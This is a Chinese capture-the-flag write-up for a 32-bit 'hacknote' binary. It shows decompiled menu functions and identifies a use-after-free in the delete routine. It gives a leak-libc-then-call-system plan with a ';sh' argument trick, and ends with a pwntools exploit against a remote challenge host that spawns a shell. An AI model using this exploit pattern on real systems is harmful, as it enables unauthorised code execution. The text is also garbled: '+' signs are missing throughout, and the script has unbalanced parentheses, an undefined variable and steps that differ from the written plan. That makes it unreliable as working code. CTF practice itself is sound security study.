1.checksec 运行
标准菜单模式
canary和NX保护
2.32位IDA
1.sub_8048646()
unsigned int sub_8048646() { int v0; // ebx int i; // [esp Ch] [ebp-1Ch] int size; // [esp 10h] [ebp-18h] char buf[8]; // [esp 14h] [ebp-14h] BYREF unsigned int v5; // [esp 1Ch] [ebp-Ch] v5 = __readgsdword(0x14u); if ( dword_804A04C <= 5 ) { for ( i = 0; i <= 4; i ) { if ( !*(&ptr i) ) { *(&ptr i) = malloc(8u); //malloc 0x8 的chunk,叫note块 if ( !*(&ptr i) ) { puts("Alloca Error"); exit(-1); } *(_DWORD *)*(&ptr i) = sub_804862B; //note[0]存放puts()函数地址 printf("Note size :"); read(0, buf, 8u); size = atoi(buf); v0 = (int)*(&ptr i); *(_DWORD *)(v0 4) = malloc(size); //malloc size 的chunk,叫content块 if ( !*((_DWORD *)*(&ptr i) 1) ) //note[1]存放content的地址 { puts("Alloca Error"); exit(-1); } printf("Content :"); read(0, *((void **)*(&ptr i) 1), size); //存放我们申请堆块的size puts("Success !"); dword_804A04C; return __readgsdword(0x14u) ^ v5; } } } else { puts("Full"); } return __readgsdword(0x14u) ^ v5; }
2.sub_80487D4()
unsigned int sub_80487D4() { int v1; // [esp 4h] [ebp-14h] char buf[4]; // [esp 8h] [ebp-10h] BYREF unsigned int v3; // [esp Ch] [ebp-Ch] v3 = __readgsdword(0x14u); printf("Index :"); read(0, buf, 4u); v1 = atoi(buf); if ( v1 < 0 || v1 >= dword_804A04C ) { puts("Out of bound!"); _exit(0); } if ( *(&ptr v1) ) { free(*((void **)*(&ptr v1) 1)); //释放note块 free(*(&ptr v1)); //释放content块 puts("Success"); //两个chunk都没有被置NULL,存在UAF漏洞 } return __readgsdword(0x14u) ^ v3; }
3.sub_80488A5()
unsigned int sub_80488A5() { int v1; // [esp 4h] [ebp-14h] char buf[4]; // [esp 8h] [ebp-10h] BYREF unsigned int v3; // [esp Ch] [ebp-Ch] v3 = __readgsdword(0x14u); printf("Index :"); read(0, buf, 4u); v1 = atoi(buf); if ( v1 < 0 || v1 >= dword_804A04C ) { puts("Out of bound!"); _exit(0); } if ( *(&ptr v1) ) (*(void (__cdecl **)(_DWORD))*(&ptr v1))(*(&ptr v1)); //调用puts()函数 return __readgsdword(0x14u) ^ v3; //输出note块chunk存储地址的内容 }
利用思路
泄露libc,调用system,执行bin/sh/,获取shell
泄露libc
print note可打印泄露地址
- 先add chunk0,add chunk1,大小都为0x80。
- 然后delete chunk1,chuk0.此时再申请add chunk2,大小为8.
- chunk2的note块是chunk0的note块,chunk2的content块是chunk1的note块。
- 向content2中写入puts函数地址和free@got表地址
- 调用 show(chunk2),执行puts和free@got表地址,将free函数的实际地址泄露,然后根据偏移泄露system函数地址。
调用system执行bin/sh/
引入函数的参数是note结构本身不能直接传入字符串\bin\sh”,
原来的note_puts(arg0)是对puts(arg0 4)包装,现在system(arg0)中arg0不指向字符串,而是指向system地址,所以这里需要system参数截断,
system参数用";sh\x00"或者"||sh"截断
EXP
from pwn import * context(arch='i386',os='linux',log_level='debug') elf = ELF('./hacknoteuaf') libc = ELF('./libc-2.23-32.so') p = remote("node4.buuoj.cn",27486) def add_note(size,content): p.recvuntil("choice :") p.sendline("1") p.recvuntil("size :") p.sendline(str(size)) p.recvuntil("Content :") p.sendline(content) def del_note(index): p.recvuntil("choice :") p.sendline("2") p.recvuntil("Index :") p.sendline(str(index)) def print_note(index): p.recvuntil("choice :") p.sendline("3") p.recvuntil("Index :") p.sendline(str(index)) add_note(64,"12") add_note(32,"12") del_note(0) add_note(64,"45") print_note(2) libc_addr = u32(p.recv(8)[4:8] - 0x1b07b0 sys_addr = libc_addr mylibc.symbols['system'] # add_note(8,"12") # add_note(8,"34") # del_note(3) # del_note(4) del_note(0) del_note(1) add_note(8,p32(sys_addr) ";sh\x00") print_note(0) p.interactive()